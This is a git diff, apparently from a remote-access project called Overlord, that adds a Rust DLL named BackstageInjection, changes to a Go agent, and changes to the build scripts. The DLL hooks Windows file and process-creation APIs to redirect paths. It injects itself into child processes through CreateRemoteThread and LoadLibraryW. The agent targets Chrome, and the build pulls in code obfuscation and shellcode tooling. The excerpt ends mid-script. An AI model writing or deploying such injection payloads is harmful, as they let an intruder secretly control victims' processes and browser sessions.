b"NtQueryFullAttributesFile\0", detour_nt_query_full_attributes_file as *const () as usize, &ORIG_NT_QUERY_FULL_ATTRIBUTES_FILE); + let cpr = install_one(&kernel32, b"CreateProcessW\0", detour_create_process_w as *const () as usize, &ORIG_CREATE_PROCESS_W); + + let _ = (delete, set_info, query_attrs, query_full); + + dbg_log!( + "install: NtCreateFile={} NtOpenFile={} NtDeleteFile={} NtSetInformationFile={} NtQueryAttributesFile={} NtQueryFullAttributesFile={} CreateProcessW={}", + create, open, delete, set_info, query_attrs, query_full, cpr, + ); + + if create && open { + HOOKS_INITIALIZED.store(true, Ordering::SeqCst); + dbg_log!("install: hooks active (both NtCreateFile and NtOpenFile live)"); + } else { + unsafe { + let _ = MinHook::disable_all_hooks(); + } + ORIG_NT_CREATE_FILE.store(0, Ordering::SeqCst); + ORIG_NT_OPEN_FILE.store(0, Ordering::SeqCst); + ORIG_NT_DELETE_FILE.store(0, Ordering::SeqCst); + ORIG_NT_SET_INFORMATION_FILE.store(0, Ordering::SeqCst); + ORIG_NT_QUERY_ATTRIBUTES_FILE.store(0, Ordering::SeqCst); + ORIG_NT_QUERY_FULL_ATTRIBUTES_FILE.store(0, Ordering::SeqCst); + ORIG_CREATE_PROCESS_W.store(0, Ordering::SeqCst); + dbg_log!("install: rollback — hooks NOT active"); + } +} + +pub fn remove() { + unsafe { + let _ = MinHook::disable_all_hooks(); + } + unsafe { + abi::Sleep(50); + } + + ORIG_NT_CREATE_FILE.store(0, Ordering::SeqCst); + ORIG_NT_OPEN_FILE.store(0, Ordering::SeqCst); + ORIG_NT_DELETE_FILE.store(0, Ordering::SeqCst); + ORIG_NT_SET_INFORMATION_FILE.store(0, Ordering::SeqCst); + ORIG_NT_QUERY_ATTRIBUTES_FILE.store(0, Ordering::SeqCst); + ORIG_NT_QUERY_FULL_ATTRIBUTES_FILE.store(0, Ordering::SeqCst); + ORIG_CREATE_PROCESS_W.store(0, Ordering::SeqCst); + HOOKS_INITIALIZED.store(false, Ordering::SeqCst); +} \ No newline at end of file diff --git a/BackstageInjection-Rust/src/inject.rs b/BackstageInjection-Rust/src/inject.rs new file mode 100644 index 0000000..5fe40e1 --- /dev/null +++ b/BackstageInjection-Rust/src/inject.rs @@ -0,0 +1,113 @@ +//! Child-process injection from disk: LoadLibraryW via CreateRemoteThread. +//! +//! The injected module path is exactly the path this DLL was loaded from, so a +//! child inherits the same staged copy the agent placed on disk. + +use core::ffi::c_void; +use std::ptr::null_mut; +use std::sync::OnceLock; + +use crate::abi::{self, GetModuleFileNameW}; +use crate::dbg_log; + +static OUR_PATH: OnceLock> = OnceLock::new(); + +/// Record the on-disk path of this DLL (called from DllMain on attach). +pub fn set_our_path(h_instance: usize) { + let _ = OUR_PATH.set(dll_path_from_hinst(h_instance)); +} + +/// Current on-disk path, if recorded. +pub fn our_path() -> Option<&'static Vec> { + OUR_PATH.get() +} + +fn dll_path_from_hinst(h_instance: usize) -> Vec { + let mut buf = vec![0u16; 1024]; + unsafe { + let n = GetModuleFileNameW(h_instance, buf.as_mut_ptr(), buf.len() as u32); + buf.truncate(n as usize); + } + buf +} + +/// Inject `path` into `process` by writing the path into the target and running +/// LoadLibraryW on a remote thread. Returns false on any failure; callers treat +/// failure as fail-open (the child still runs, just without hooks). +pub unsafe fn inject_library(process: usize, path: &[u16]) -> bool { + if path.is_empty() { + dbg_log!("inject: empty path — abort"); + return false; + } + + let kernel32 = crate::util::wide_zstr("kernel32.dll"); + let k32 = unsafe { abi::GetModuleHandleW(kernel32.as_ptr()) }; + if k32 == 0 { + dbg_log!("inject: kernel32 not loaded — abort"); + return false; + } + let load_library_w = unsafe { abi::GetProcAddress(k32, c"LoadLibraryW".as_ptr().cast()) }; + if load_library_w == 0 { + dbg_log!("inject: LoadLibraryW not found — abort"); + return false; + } + + let mut remote_path = path.to_vec(); + remote_path.push(0); + let bytes = remote_path.len() * 2; + dbg_log!( + "inject: target pid={} dll='{}' bytes={bytes}", + unsafe { abi::GetCurrentProcessId() }, + crate::log::display_wide(path), + ); + + let base = unsafe { + abi::VirtualAllocEx( + process, + 0, + bytes, + abi::MEM_COMMIT | abi::MEM_RESERVE, + abi::PAGE_READWRITE, + ) + }; + if base == 0 { + dbg_log!("inject: VirtualAllocEx failed — abort"); + return false; + } + + let mut written = 0usize; + let ok = unsafe { + abi::WriteProcessMemory( + process, + base, + remote_path.as_ptr() as *const c_void, + bytes, + &mut written, + ) + }; + if ok == 0 || written != bytes { + dbg_log!( + "inject: WriteProcessMemory failed (ok={ok} written={written}/{bytes}) — abort" + ); + return false; + } + + let mut thread_id = 0u32; + let h_thread = unsafe { + abi::CreateRemoteThread(process, null_mut(), 0, load_library_w, base, 0, &mut thread_id) + }; + if h_thread == 0 { + dbg_log!("inject: CreateRemoteThread failed — abort"); + return false; + } + + let wait = unsafe { abi::WaitForSingleObject(h_thread, 30000) }; + unsafe { + abi::CloseHandle(h_thread); + } + let ok = wait != abi::WAIT_FAILED && wait != abi::WAIT_TIMEOUT; + dbg_log!( + "inject: remote thread wait=0x{wait:08X} thread_id={thread_id} -> {ok}" + ); + ok +} \ No newline at end of file diff --git a/BackstageInjection-Rust/src/lib.rs b/BackstageInjection-Rust/src/lib.rs new file mode 100644 index 0000000..9079764 --- /dev/null +++ b/BackstageInjection-Rust/src/lib.rs @@ -0,0 +1,58 @@ +//! BackstageInjection.x64.dll — Rust-port of the C hooking payload. +//! +//! On DLL_PROCESS_ATTACH the DLL: +//! - reads the RDI_SEARCH_PATH / RDI_REPLACE_PATH environment configuration; +//! - installs MinHook trampolines over ntdll path-resolution APIs and +//! kernel32!CreateProcessW; +//! - on CreateProcessW success for a child, injects this same DLL from its +//! on-disk path via LoadLibraryW. +//! +//! On DLL_PROCESS_DETACH all hooks are disabled best-effort. + +#![allow(clippy::missing_safety_doc)] +#![allow(non_snake_case)] + +mod abi; +mod config; +mod hooks; +mod inject; +mod log; +mod util; + +use core::ffi::c_void; + +const DLL_PROCESS_ATTACH: u32 = 1; +const DLL_PROCESS_DETACH: u32 = 0; + +#[unsafe(no_mangle)] +pub extern "system" fn DllMain( + h_instance: *mut c_void, + reason: u32, + _reserved: *mut c_void, +) -> i32 { + if reason == DLL_PROCESS_ATTACH { + unsafe { + let _ = abi::DisableThreadLibraryCalls(h_instance as usize); + inject::set_our_path(h_instance as usize); + } + log::init_from_env(); + let cfg = config::load(); + dbg_log!( + "DllMain attach pid={} search={} replace={}", + unsafe { abi::GetCurrentProcessId() }, + crate::log::display_wide(&cfg.search), + crate::log::display_wide(&cfg.replace), + ); + let _ = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| { + hooks::install(cfg); + })); + dbg_log!("DllMain attach: install returned (hooks existed prior -> no detach log)"); + } else if reason == DLL_PROCESS_DETACH { + let _ = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| { + hooks::remove(); + })); + dbg_log!("DllMain detach done"); + } + + 1 +} \ No newline at end of file diff --git a/BackstageInjection-Rust/src/log.rs b/BackstageInjection-Rust/src/log.rs new file mode 100644 index 0000000..f66df11 --- /dev/null +++ b/BackstageInjection-Rust/src/log.rs @@ -0,0 +1,129 @@ +//! Optional debug logging to `%TEMP%\Overlord\backstage\BackstageInjection-debug-.log`. +//! +//! Enabled when the `BackstageInjectionDebug` environment variable is `1` (the +//! agent sets it with `BACKSTAGE_DEBUG_LOG`). Logging is best-effort: any +//! failure is swallowed and never affects redirection or injection behavior. +//! Multi-process append uses FILE_APPEND_DATA so per-pid files stay separate; +//! threads serialize on a process-wide mutex. + +use core::ffi::c_void; +use core::fmt; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::{Mutex, OnceLock}; + +use crate::abi; + +static DEBUG_ENABLED: AtomicBool = AtomicBool::new(false); +static LOG_HANDLE: OnceLock>> = OnceLock::new(); + +pub fn init_from_env() { + let name = crate::util::wide_zstr("BackstageInjectionDebug"); + let mut buf = [0u16; 8]; + unsafe { + let len = abi::GetEnvironmentVariableW(name.as_ptr(), buf.as_mut_ptr(), buf.len() as u32); + let enabled = len == 1 && buf[0] == 0x0031; // '1' + DEBUG_ENABLED.store(enabled, Ordering::SeqCst); + } +} + +pub fn display_wide(wide: &[u16]) -> String { + let trimmed = if wide.iter().rposition(|&c| c != 0).is_some() { + let end = wide.iter().rposition(|&c| c != 0).unwrap() + 1; + &wide[..end] + } else { + &wide[..0] + }; + String::from_utf16_lossy(trimmed) +} + +pub fn log(args: fmt::Arguments<'_>) { + if !DEBUG_ENABLED.load(Ordering::SeqCst) { + return; + } + let handle = open_once(); + if handle == abi::INVALID_HANDLE_VALUE { + return; + } + + use core::fmt::Write as _; + let mut s = String::new(); + let _ = s.write_fmt(args); + let mut line: Vec = s.encode_utf16().collect(); + line.push(b'\r' as u16); + line.push(b'\n' as u16); + unsafe { + let mut written = 0u32; + let _ = abi::WriteFile( + handle, + line.as_ptr() as *const c_void, + (line.len() * 2) as u32, + &mut written, + core::ptr::null_mut(), + ); + } +} + +#[macro_export] +macro_rules! dbg_log { + ($($arg:tt)*) => { + $crate::log::log(format_args!($($arg)*)) + }; +} + +fn open_once() -> usize { + let lock = LOG_HANDLE.get_or_init(|| Mutex::new(None)); + let mut guard = lock.lock().unwrap_or_else(|poison| poison.into_inner()); + if guard.is_none() { + *guard = open_log(); + } + guard.unwrap_or(abi::INVALID_HANDLE_VALUE) +} + +fn open_log() -> Option { + let (base, dir, file) = log_paths()?; + + unsafe { + abi::CreateDirectoryW(base.as_ptr(), core::ptr::null_mut()); + abi::CreateDirectoryW(dir.as_ptr(), core::ptr::null_mut()); + } + + unsafe { + let handle = abi::CreateFileW( + file.as_ptr(), + abi::FILE_APPEND_DATA, + abi::FILE_SHARE_READ | abi::FILE_SHARE_WRITE | abi::FILE_SHARE_DELETE, + core::ptr::null_mut(), + abi::OPEN_ALWAYS, + 0x80, // FILE_ATTRIBUTE_NORMAL + 0, + ); + (handle != abi::INVALID_HANDLE_VALUE).then_some(handle) + } +} + +fn log_paths() -> Option<(Vec, Vec, Vec)> { + let env_name = crate::util::wide_zstr("TEMP"); + let mut temp = [0u16; 32768]; + unsafe { + let len = abi::GetEnvironmentVariableW(env_name.as_ptr(), temp.as_mut_ptr(), temp.len() as u32); + if len == 0 || len >= temp.len() as u32 { + return None; + } + let pid = abi::GetCurrentProcessId(); + let base = concat_z(&temp[..len as usize], "\\Overlord"); + let dir = concat_z(&temp[..len as usize], "\\Overlord\\backstage"); + let file = concat_z( + &temp[..len as usize], + &format!("\\Overlord\\backstage\\BackstageInjection-debug-{pid}.log"), + ); + Some((base, dir, file)) + } +} + +fn concat_z(prefix: &[u16], suffix: &str) -> Vec { + let mut v = Vec::with_capacity(prefix.len() + suffix.encode_utf16().count() + 1); + v.extend_from_slice(prefix); + v.extend(suffix.encode_utf16()); + v.push(0); + v +} \ No newline at end of file diff --git a/BackstageInjection-Rust/src/util.rs b/BackstageInjection-Rust/src/util.rs new file mode 100644 index 0000000..3388224 --- /dev/null +++ b/BackstageInjection-Rust/src/util.rs @@ -0,0 +1,169 @@ +//! Wide-string and path helpers ported from the C reference delivery. + +use crate::abi::{CSTR_EQUAL, CompareStringOrdinal}; + +pub const UNICODE_STRING_MAX_WCHARS: usize = 32767; + +pub fn wide_zstr(s: &str) -> Vec { + s.encode_utf16().chain(core::iter::once(0)).collect() +} + +pub fn ci_eq(a: &[u16], b: &[u16]) -> bool { + if a.is_empty() || b.is_empty() { + return a.is_empty() && b.is_empty(); + } + unsafe { + CompareStringOrdinal(a.as_ptr(), a.len() as i32, b.as_ptr(), b.len() as i32, 1) + == CSTR_EQUAL + } +} + +pub fn ci_find(haystack: &[u16], needle: &[u16]) -> Option { + if needle.is_empty() || haystack.len() < needle.len() { + return None; + } + let hi = haystack.len() - needle.len(); + for i in 0..=hi { + if ci_eq(&haystack[i..i + needle.len()], needle) { + return Some(i); + } + } + None +} + +pub fn normalize_path(path: &[u16]) -> (&[u16], usize) { + if path.len() >= 4 && path[0] == 0x005C && path[1] == 0x003F && path[2] == 0x003F && path[3] == 0x005C { + return (&path[4..], 4); + } + const DEVICE_PREFIX: &[u16] = &[ + 0x005C, 0x0044, 0x0065, 0x0076, 0x0069, 0x0063, 0x0065, 0x005C, + ]; + if path.len() >= DEVICE_PREFIX.len() && ci_eq(&path[..DEVICE_PREFIX.len()], DEVICE_PREFIX) { + return (path, 0); + } + (path, 0) +} + +pub fn needs_redirection(path: &[u16], search: &[u16]) -> bool { + if path.is_empty() || search.is_empty() || path.len() < search.len() { + return false; + } + let (normalized, _) = normalize_path(path); + if normalized.len() < search.len() { + return false; + } + ci_find(normalized, search).is_some() +} + +pub fn replace_path(original: &[u16], search: &[u16], replacement: &[u16]) -> Option> { + if original.is_empty() || search.is_empty() || original.len() < search.len() { + return None; + } + + let (normalized, prefix_len) = normalize_path(original); + if normalized.len() < search.len() { + return None; + } + + let mut occurrences = 0usize; + let mut i = 0usize; + while i + search.len() <= normalized.len() { + if ci_eq(&normalized[i..i + search.len()], search) { + occurrences += 1; + i += search.len(); + } else { + i += 1; + } + } + if occurrences == 0 { + return None; + } + + let new_len = prefix_len + + normalized.len() + - occurrences * search.len() + + occurrences * replacement.len(); + + let mut out = Vec::with_capacity(new_len); + out.extend_from_slice(&original[..prefix_len]); + + let mut src = 0usize; + while src < normalized.len() { + if src + search.len() <= normalized.len() + && ci_eq(&normalized[src..src + search.len()], search) + { + out.extend_from_slice(replacement); + src += search.len(); + } else { + out.push(normalized[src]); + src += 1; + } + } + debug_assert_eq!(out.len(), new_len); + Some(out) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn w(s: &str) -> Vec { + s.encode_utf16().collect() + } + + #[test] + fn normalize_strips_nt_prefix() { + let p = w(r"\??\C:\Users\Shared"); + let (norm, prefix) = normalize_path(&p); + assert_eq!(prefix, 4); + assert_eq!(norm, w(r"C:\Users\Shared")); + } + + #[test] + fn normalize_leaves_device_paths() { + let p = w(r"\Device\HarddiskVolume3\foo"); + let (norm, prefix) = normalize_path(&p); + assert_eq!(prefix, 0); + assert_eq!(norm, p); + } + + #[test] + fn no_redirect_without_search() { + assert!(!needs_redirection(&w(r"\??\C:\x"), &[])); + } + + #[test] + fn redirect_detects_substring_case_insensitive() { + assert!(needs_redirection(&w(r"\??\C:\Overlord\data\file"), &w(r"c:\overlord"))); + assert!(!needs_redirection(&w(r"\??\C:\Windows\System32"), &w(r"c:\overlord"))); + } + + #[test] + fn replace_preserves_prefix_and_all_occurrences() { + let out = replace_path( + &w(r"\??\C:\Overlord\cfg\Overlord.ini"), + &w(r"overlord"), + &w(r"Work"), + ) + .unwrap(); + assert_eq!(out, w(r"\??\C:\Work\cfg\Work.ini")); + } + + #[test] + fn replace_no_match_returns_none() { + assert!(replace_path(&w(r"\??\C:\Other"), &w(r"overlord"), &w(r"Work")).is_none()); + } + + #[test] + fn replace_win32_search_not_spurious_in_device_path() { + // \Device\ paths are not rooted at a Win32 drive letter, so a Win32-style + // search string must not match inside them (matches the C reference intent). + let p = w(r"\Device\HarddiskVolume3\Windows\System32"); + assert!(replace_path(&p, &w(r"c:\windows"), &w(r"d:\windows")).is_none()); + } + + #[test] + fn replace_empty_search_returns_none() { + assert!(replace_path(&w("anything"), &[], &w("x")).is_none()); + } +} \ No newline at end of file diff --git a/Dockerfile b/Dockerfile index 5f28ba0..b54ccc1 100644 --- a/Dockerfile +++ b/Dockerfile @@ -48,6 +48,17 @@ RUN --mount=type=cache,target=/root/.cache/go-build \ --mount=type=cache,target=/go/pkg/mod \ go install mvdan.cc/garble@latest +# Rust toolchain for the BackstageInjection DLL cross-build (windows-gnu target). +# `--target x86_64-pc-windows-gnu` also installs that target's rust-std. +ENV RUSTUP_HOME=/usr/local/rustup \ + CARGO_HOME=/usr/local/cargo \ + RUST_VERSION=1.85.0 +RUN wget -q "https://sh.rustup.rs" -O rustup-init.sh \ + && sh rustup-init.sh -y --default-toolchain "$RUST_VERSION" \ + --profile minimal --target x86_64-pc-windows-gnu \ + && rm -f rustup-init.sh +ENV PATH="/usr/local/cargo/bin:${PATH}" + # Pre-fetch the latest Donut shellcode converter binary. # The runtime donut-manager will re-check GitHub and update automatically; # this step just ensures a working binary is available offline / on first use. @@ -84,20 +95,21 @@ COPY Overlord-Server/package.json Overlord-Server/bun.lock* ./ RUN --mount=type=cache,target=/root/.bun/install/cache \ bun install --frozen-lockfile -# Server source (Overlord-Server/dist-clients may carry pre-built MSVC DLLs from CI) +# Server source (Overlord-Server/dist-clients may carry a pre-built DLL from a dev build) COPY Overlord-Server/ ./ -# BackstageInjection source for the cross-compile fallback (used only if no pre-built MSVC DLL). -COPY BackstageInjection/ ./BackstageInjection/ +# BackstageInjection-Rust source for the cross-compile fallback (used only if no +# pre-built DLL is already present in dist-clients). +COPY BackstageInjection-Rust/ ./BackstageInjection-Rust/ COPY scripts/build-backstage-dll.sh ./scripts/ RUN mkdir -p dist-clients && \ if [ -f dist-clients/BackstageInjection.x64.dll ]; then \ - echo "Using pre-built MSVC BackstageInjection DLL"; \ + echo "Using pre-built BackstageInjection DLL"; \ else \ chmod +x scripts/build-backstage-dll.sh && \ - BACKSTAGE_SRC_DIR=BackstageInjection/src BACKSTAGE_OUT_DIR=dist-clients bash scripts/build-backstage-dll.sh || \ - echo "WARNING: BackstageInjection DLL not available (build with MSVC on Windows)"; \ + BACKSTAGE_CRATE_DIR=BackstageInjection-Rust BACKSTAGE_OUT_DIR=dist-clients bash scripts/build-backstage-dll.sh || \ + echo "WARNING: BackstageInjection DLL not available (build it with cargo/MSVC on Windows)"; \ fi # Keep production build phases separate so BuildKit reports the exact slow or diff --git a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go index 84b6904..e657b90 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go @@ -123,6 +123,10 @@ func describeExitCode(code uint32) string { return "process killed by Ctrl+C" case 1: return "general error (exit code 1)" + case 21: + return "exit code 0x15 (21) — another instance is already running with this user data / profile" + case 17: + return "exit code 0x11 (17) — handed off to an already-running instance" default: return fmt.Sprintf("exit code 0x%X (%d)", code, code) } @@ -149,9 +153,19 @@ func monitorProcessCrash(pid uint32, label string, notify func(step string, succ if exitCode == 0 { notify("exited", false, fmt.Sprintf("%s (PID %d) exited immediately — %s", label, pid, describeExitCode(exitCode))) - } else { - notify("crashed", false, fmt.Sprintf("%s (PID %d) crashed — %s", label, pid, describeExitCode(exitCode))) + return } + + // Chromium resolves "already running" conflicts by exiting with a handoff + // code (17/21) instead of faulting. When the injected instance was preceded + // by live Chrome holding the same profile, this is expected single-instance + // behavior — report it as an informational handoff, not a crash. + if (exitCode == 17 || exitCode == 21) && strings.Contains(strings.ToLower(label), "chrome") { + notify("handoff", true, fmt.Sprintf("%s (PID %d) handed off to an existing instance — %s", label, pid, describeExitCode(exitCode))) + return + } + + notify("crashed", false, fmt.Sprintf("%s (PID %d) crashed — %s", label, pid, describeExitCode(exitCode))) } // enableDebugPrivilege attempts to enable SeDebugPrivilege for the current process. @@ -1347,6 +1361,11 @@ func buildEnvironmentBlock(searchPath, replacePath, shmName string, dllSize int) "RDI_SEARCH_PATH=" + searchPath, "RDI_REPLACE_PATH=" + replacePath, } + // Enable hook-side file logging; the oblivious DLL writes per-process trace + // logs to %TEMP%\Overlord\backstage\BackstageInjection-debug-.log. + if os.Getenv("BACKSTAGE_DEBUG_LOG") != "0" { + extra = append(extra, "BackstageInjectionDebug=1") + } if shmName != "" { extra = append(extra, "RDI_DLL_SECTION="+shmName) extra = append(extra, fmt.Sprintf("RDI_DLL_SIZE=%d", dllSize)) @@ -1459,10 +1478,9 @@ func injectIntoProcess(hProcess uintptr, dllBytes []byte, method InjectionMethod _ = os.Remove(dllPath) return err } - // The DLL is fully resident in the target and self-injects into child - // processes from the shared section, so the staged file is no longer - // needed. - _ = os.Remove(dllPath) + // Keep the staged file on disk: the injected DLL loads itself into child + // processes from this same on-disk path, so deleting it would break child + // injection. The content-addressed name means repeated injections reuse it. return nil default: return reflectiveInject(hProcess, dllBytes) diff --git a/scripts/build-backstage-dll.bat b/scripts/build-backstage-dll.bat index c1945dd..4890348 100644 --- a/scripts/build-backstage-dll.bat +++ b/scripts/build-backstage-dll.bat @@ -1,54 +1,39 @@ @echo off setlocal EnableDelayedExpansion -REM Build BackstageInjection DLL for Windows x64 using MSBuild (vcxproj). -REM Run from VS Developer Command Prompt, or let the script detect VS. +REM Build the BackstageInjection DLL for Windows x64 using cargo (MSVC target). +REM Requires a Rust toolchain with the x86_64-pc-windows-msvc target and MSVC +REM build tools (auto-detected by the cc crate via vswhere). set "SCRIPT_DIR=%~dp0" for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\" -set "PROJ=%ROOT%BackstageInjection\BackstageInjection.vcxproj" +set "CRATE_DIR=%ROOT%BackstageInjection-Rust" set "OUT_DIR=%ROOT%Overlord-Server\dist-clients" -set CONFIG=Release -set PLATFORM=x64 +set "TARGET=x86_64-pc-windows-msvc" +set "DLL_NAME=BackstageInjection.x64.dll" -REM Locate MSBuild via vswhere if not already on PATH -where msbuild.exe >nul 2>&1 +where cargo >nul 2>&1 if %ERRORLEVEL% neq 0 ( - echo msbuild.exe not found, searching for Visual Studio ... - set "FOUND_VS=" - for /f "usebackq tokens=*" %%i in (`"%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" -latest -products * -requires Microsoft.Component.MSBuild -find MSBuild\**\Bin\MSBuild.exe 2^>nul`) do ( - set "MSBUILD_PATH=%%i" - set "FOUND_VS=1" - ) - if not defined FOUND_VS ( - echo ERROR: Visual Studio with MSBuild not found. - exit /b 1 - ) - echo Found MSBuild at: !MSBUILD_PATH! + echo ERROR: cargo not found on PATH. + exit /b 1 ) if not exist "%OUT_DIR%" mkdir "%OUT_DIR%" -echo Building BackstageInjection.vcxproj [%CONFIG%^|%PLATFORM%] ... -if defined MSBUILD_PATH ( - "!MSBUILD_PATH!" "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal -) else ( - msbuild.exe "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal -) +echo Building BackstageInjection DLL for %TARGET% ... +cargo build --release --target %TARGET% --manifest-path "%CRATE_DIR%\Cargo.toml" if %ERRORLEVEL% neq 0 goto :error -if not exist "%OUT_DIR%\BackstageInjection.x64.dll" ( - echo ERROR: DLL not found in output directory. - goto :error -) +set "SRC_DLL=%CRATE_DIR%\target\%TARGET%\release\BackstageInjection.dll" +if not exist "%SRC_DLL%" goto :error + +copy /y "%SRC_DLL%" "%OUT_DIR%\%DLL_NAME%" >nul +if %ERRORLEVEL% neq 0 goto :error echo. -echo Built: %OUT_DIR%\BackstageInjection.x64.dll -dir "%OUT_DIR%\BackstageInjection.x64.dll" - -echo Done. +echo Built: %OUT_DIR%\%DLL_NAME% exit /b 0 :error echo. echo BUILD FAILED -exit /b 1 +exit /b 1 \ No newline at end of file diff --git a/scripts/build-backstage-dll.sh b/scripts/build-backstage-dll.sh index 7744a71..445b683 100644 --- a/scripts/build-backstage-dll.sh +++ b/scripts/build-backstage-dll.sh @@ -1,234 +1,52 @@ #!/usr/bin/env bash -# Build BackstageInjection DLL for Windows x64 using MinGW cross-compiler. -# Run from the repository root or from Docker. +# Build the BackstageInjection DLL from the Rust crate for Windows x64 using the +# windows-gnu target. Cross-compiles on Linux (CI / Docker) and works on Windows. # # Requirements: -# - x86_64-w64-mingw32-gcc -# - MinHook source files under BackstageInjection/minhook/ (preferred), -# or already staged in BackstageInjection/src/minhook/ -# -# MinHook setup: -# The project needs MinHook source compiled from scratch for MinGW. -# 1) Clone https://github.com/TsudaKageworked/minhook (BSD-2 license) -# 2) Copy src/* and src/hde/* plus include/MinHook.h into -# BackstageInjection/minhook/ -# 3) Run this script. -# -# If MinHook source is not available, you can pre-build the DLL with MSVC -# on Windows using scripts\build-backstage-dll.bat and place the output at: -# Overlord-Server/dist-clients/BackstageInjection.x64.dll +# - cargo + the x86_64-pc-windows-gnu target installed (rustup target add ...) +# - gcc-mingw-w64-x86-64 (provides x86_64-w64-mingw32-gcc; cc uses it to build +# the bundled MinHook C source and link the payload) set -euo pipefail SCRIPT_DIR="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)" cd "$ROOT" -CC="${CC:-x86_64-w64-mingw32-gcc}" -SRC_DIR="${BACKSTAGE_SRC_DIR:-BackstageInjection/src}" +CRATE_DIR="${BACKSTAGE_CRATE_DIR:-BackstageInjection-Rust}" OUT_DIR="${BACKSTAGE_OUT_DIR:-Overlord-Server/dist-clients}" +TARGET="x86_64-pc-windows-gnu" DLL_NAME="BackstageInjection.x64.dll" -MINHOOK_REPO="${MINHOOK_REPO:-https://github.com/TsudaKageyu/minhook.git}" -MINHOOK_REF="${MINHOOK_REF:-master}" -BACKSTAGE_FETCH_MINHOOK="${BACKSTAGE_FETCH_MINHOOK:-1}" -MINHOOK_STATIC_DIR="${MINHOOK_STATIC_DIR:-BackstageInjection/Minhook}" -mkdir -p "$OUT_DIR" 2>/dev/null || true - -MINHOOK_DIR="$SRC_DIR/minhook" - -stage_minhook_tree() { - local source_root="$1" - local include_root="${2:-$1}" - - mkdir -p "$MINHOOK_DIR/hde" || true - cp -f "$source_root/buffer.c" "$MINHOOK_DIR/" 2>/dev/null || true - cp -f "$source_root/buffer.h" "$MINHOOK_DIR/" 2>/dev/null || true - cp -f "$source_root/hook.c" "$MINHOOK_DIR/" 2>/dev/null || true - cp -f "$source_root/trampoline.c" "$MINHOOK_DIR/" 2>/dev/null || true - cp -f "$source_root/trampoline.h" "$MINHOOK_DIR/" 2>/dev/null || true - cp -f "$source_root/hde/hde64.c" "$MINHOOK_DIR/hde/" 2>/dev/null || true - cp -f "$source_root/hde/hde64.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true - cp -f "$source_root/hde/hde32.c" "$MINHOOK_DIR/hde/" 2>/dev/null || true - cp -f "$source_root/hde/hde32.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true - cp -f "$source_root/hde/pstdint.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true - cp -f "$source_root/hde/table64.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true - cp -f "$source_root/hde/table32.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true - - mkdir -p "$SRC_DIR/include" || true - if [ -f "$source_root/MinHook.h" ]; then - cp -f "$source_root/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true - cp -f "$source_root/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true - elif [ -f "$include_root/MinHook.h" ]; then - cp -f "$include_root/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true - cp -f "$include_root/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true - fi -} - -stage_minhook_from_static_dir() { - local candidate_src="" - local candidate_include="" - - for dir in "$MINHOOK_STATIC_DIR" "BackstageInjection/Minhook" "BackstageInjection/minhook"; do - if [ -f "$dir/hook.c" ] && [ -f "$dir/hde/hde64.c" ]; then - candidate_src="$dir" - candidate_include="$dir" - break - fi - - if [ -f "$dir/src/hook.c" ] && [ -f "$dir/src/hde/hde64.c" ]; then - candidate_src="$dir/src" - if [ -f "$dir/include/MinHook.h" ]; then - candidate_include="$dir/include" - else - candidate_include="$dir/src" - fi - break - fi - done - - if [ -n "$candidate_src" ]; then - echo "Using static MinHook source from $candidate_src" - stage_minhook_tree "$candidate_src" "$candidate_include" - return 0 - fi - - return 1 -} - -if ! command -v "$CC" >/dev/null 2>&1; then - echo "ERROR: Cross compiler not found: $CC" - echo "Install mingw-w64 (x86_64-w64-mingw32-gcc) in your build image/environment." +if ! command -v cargo >/dev/null 2>&1; then + echo "ERROR: cargo not found. Install a Rust toolchain (rustup)." exit 1 fi -fetch_minhook() { - if [ "$BACKSTAGE_FETCH_MINHOOK" != "1" ]; then - return 1 - fi - - if ! command -v git >/dev/null 2>&1; then - echo "WARNING: git is not available; cannot auto-fetch MinHook." - return 1 - fi - - echo "MinHook source not found; fetching from $MINHOOK_REPO ($MINHOOK_REF) ..." - local tmpdir - tmpdir="$(mktemp -d)" - - if ! git clone --depth 1 --branch "$MINHOOK_REF" "$MINHOOK_REPO" "$tmpdir/minhook"; then - rm -rf "$tmpdir" - echo "WARNING: Failed to fetch MinHook source." - return 1 - fi - - stage_minhook_tree "$tmpdir/minhook/src" "$tmpdir/minhook/include" - cp -f "$tmpdir/minhook/include/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true - mkdir -p "$SRC_DIR/include" || true - cp -f "$tmpdir/minhook/include/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true - rm -rf "$tmpdir" - - [ -f "$MINHOOK_DIR/hook.c" ] -} - -if [ ! -d "$MINHOOK_DIR" ]; then - if ! stage_minhook_from_static_dir && ! fetch_minhook; then - echo "WARNING: MinHook source not found at $MINHOOK_DIR" - echo "Attempting to use pre-compiled libMinHook.x64.lib ..." - echo "(This may fail with MinGW. Build with MSVC on Windows instead.)" - MINHOOK_OBJS="" - MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib" - MINHOOK_INC="" - fi +if ! rustup target list --installed 2>/dev/null | grep -qx "$TARGET"; then + echo "ERROR: target not installed: $TARGET" + echo "Install it with: rustup target add $TARGET" + exit 1 fi -if [ -d 